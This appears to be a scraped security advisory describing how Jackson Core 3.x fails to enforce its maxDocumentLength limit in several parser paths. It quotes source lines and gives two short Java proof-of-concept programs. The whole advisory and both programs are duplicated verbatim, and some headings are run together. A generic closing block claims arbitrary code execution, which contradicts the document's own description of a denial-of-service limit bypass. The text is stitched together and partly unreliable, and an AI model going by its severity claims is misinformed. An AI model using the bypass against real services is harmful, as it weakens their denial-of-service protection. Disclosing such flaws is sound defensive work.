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Jackson Core 3.x does not consistently enforce StreamReadConstraints.maxDocumentLength. Oversized JSON documents can be accepted without a StreamConstraintsException in multiple parser entry points, which allows configured size limits to be bypassed and weakens denial-of-service protections.
Three code paths where maxDocumentLength is not fully enforced:
Blocking parsers validate only previously processed buffers, not the final in-memory buffer:
ReaderBasedJsonParser.java:255UTF8StreamJsonParser.java:208Relevant code:
_currInputProcessed += bufSize;
_streamReadConstraints.validateDocumentLength(_currInputProcessed);
This means the check occurs only when a completed buffer is rolled over. If an oversized document is fully contained in the final buffer, parsing can complete without any document-length exception.
Async parsers validate previously processed chunks, but do not validate the final chunk on end-of-input:
NonBlockingByteArrayJsonParser.java:49NonBlockingByteBufferJsonParser.java:57NonBlockingUtf8JsonParserBase.java:75Relevant code:
_currInputProcessed += _origBufferLen;
_streamReadConstraints.validateDocumentLength(_currInputProcessed);
public void endOfInput() {
_endOfInput = true;
}
endOfInput() marks EOF but does not perform a final validateDocumentLength(...) call, so an oversized last chunk is accepted.
maxDocumentLength at allJsonFactory.java:457Relevant construction path:
int firstByte = ByteSourceJsonBootstrapper.skipUTF8BOM(input);
return new UTF8DataInputJsonParser(readCtxt, ioCtxt,
readCtxt.getStreamReadFeatures(_streamReadFeatures),
readCtxt.getFormatReadFeatures(_formatReadFeatures),
input, can, firstByte);
UTF8DataInputJsonParser does not call StreamReadConstraints.validateDocumentLength(...), so maxDocumentLength is effectively disabled for createParser(..., DataInput) users.
Note: This issue appears distinct from the recently published nesting-depth and number-length constraint advisories because it affects document-length enforcement.
import java.nio.charset.StandardCharsets;
import tools.jackson.core.JsonParser;
import tools.jackson.core.ObjectReadContext;
import tools.jackson.core.StreamReadConstraints;
import tools.jackson.core.async.ByteArrayFeeder;
import tools.jackson.core.json.JsonFactory;
public class Poc {
public static void main(String[] args) throws Exception {
JsonFactory factory = JsonFactory.builder()
.streamReadConstraints(StreamReadConstraints.builder()
.maxDocumentLength(10L)
.build())
.build();
byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);
try (JsonParser p = factory.createNonBlockingByteArrayParser(ObjectReadContext.empty())) {
ByteArrayFeeder feeder = (ByteArrayFeeder) p.nonBlockingInputFeeder();
feeder.feedInput(doc, 0, doc.length);
feeder.endOfInput();
while (p.nextToken() != null) { }
}
System.out.println("Parsed successfully");
}
}
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
import tools.jackson.core.JsonParser;
import tools.jackson.core.StreamReadConstraints;
import tools.jackson.core.json.JsonFactory;
public class Poc2 {
public static void main(String[] args) throws Exception {
JsonFactory factory = JsonFactory.builder()
.streamReadConstraints(StreamReadConstraints.builder()
.maxDocumentLength(10L)
.build())
.build();
byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);
try (JsonParser p = factory.createParser(new ByteArrayInputStream(doc))) {
while (p.nextToken() != null) { }
}
System.out.println("Parsed successfully");
}
}
Applications that rely on maxDocumentLength as a safety control for untrusted JSON can accept oversized inputs without error. In network-facing services this weakens an explicit denial-of-service protection and can increase CPU and memory consumption by allowing larger-than-configured request bodies to be processed.
Jackson Core 3.x does not consistently enforce StreamReadConstraints.maxDocumentLength. Oversized JSON documents can be accepted without a StreamConstraintsException in multiple parser entry points, which allows configured size limits to be bypassed and weakens denial-of-service protections.
Three code paths where maxDocumentLength is not fully enforced:
Blocking parsers validate only previously processed buffers, not the final in-memory buffer:
ReaderBasedJsonParser.java:255UTF8StreamJsonParser.java:208Relevant code:
_currInputProcessed += bufSize;
_streamReadConstraints.validateDocumentLength(_currInputProcessed);
This means the check occurs only when a completed buffer is rolled over. If an oversized document is fully contained in the final buffer, parsing can complete without any document-length exception.
Async parsers validate previously processed chunks, but do not validate the final chunk on end-of-input:
NonBlockingByteArrayJsonParser.java:49NonBlockingByteBufferJsonParser.java:57NonBlockingUtf8JsonParserBase.java:75Relevant code:
_currInputProcessed += _origBufferLen;
_streamReadConstraints.validateDocumentLength(_currInputProcessed);
public void endOfInput() {
_endOfInput = true;
}
endOfInput() marks EOF but does not perform a final validateDocumentLength(...) call, so an oversized last chunk is accepted.
maxDocumentLength at allJsonFactory.java:457Relevant construction path:
int firstByte = ByteSourceJsonBootstrapper.skipUTF8BOM(input);
return new UTF8DataInputJsonParser(readCtxt, ioCtxt,
readCtxt.getStreamReadFeatures(_streamReadFeatures),
readCtxt.getFormatReadFeatures(_formatReadFeatures),
input, can, firstByte);
UTF8DataInputJsonParser does not call StreamReadConstraints.validateDocumentLength(...), so maxDocumentLength is effectively disabled for createParser(..., DataInput) users.
Note: This issue appears distinct from the recently published nesting-depth and number-length constraint advisories because it affects document-length enforcement.
import java.nio.charset.StandardCharsets;
import tools.jackson.core.JsonParser;
import tools.jackson.core.ObjectReadContext;
import tools.jackson.core.StreamReadConstraints;
import tools.jackson.core.async.ByteArrayFeeder;
import tools.jackson.core.json.JsonFactory;
public class Poc {
public static void main(String[] args) throws Exception {
JsonFactory factory = JsonFactory.builder()
.streamReadConstraints(StreamReadConstraints.builder()
.maxDocumentLength(10L)
.build())
.build();
byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);
try (JsonParser p = factory.createNonBlockingByteArrayParser(ObjectReadContext.empty())) {
ByteArrayFeeder feeder = (ByteArrayFeeder) p.nonBlockingInputFeeder();
feeder.feedInput(doc, 0, doc.length);
feeder.endOfInput();
while (p.nextToken() != null) { }
}
System.out.println("Parsed successfully");
}
}
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
import tools.jackson.core.JsonParser;
import tools.jackson.core.StreamReadConstraints;
import tools.jackson.core.json.JsonFactory;
public class Poc2 {
public static void main(String[] args) throws Exception {
JsonFactory factory = JsonFactory.builder()
.streamReadConstraints(StreamReadConstraints.builder()
.maxDocumentLength(10L)
.build())
.build();
byte[] doc = "{\"a\":1,\"b\":2}".getBytes(StandardCharsets.UTF_8);
try (JsonParser p = factory.createParser(new ByteArrayInputStream(doc))) {
while (p.nextToken() != null) { }
}
System.out.println("Parsed successfully");
}
}
Applications that rely on maxDocumentLength as a safety control for untrusted JSON can accept oversized inputs without error. In network-facing services this weakens an explicit denial-of-service protection and can increase CPU and memory consumption by allowing larger-than-configured request bodies to be processed.
This high-severity vulnerability could allow attackers to gain unauthorized access, execute arbitrary code, or compromise data integrity. Prompt remediation is strongly recommended.
Apply security patches to version 3.1.1 immediately
Isolate affected systems from untrusted networks until patching is complete
Implement enhanced monitoring for exploitation attempts and unusual behavior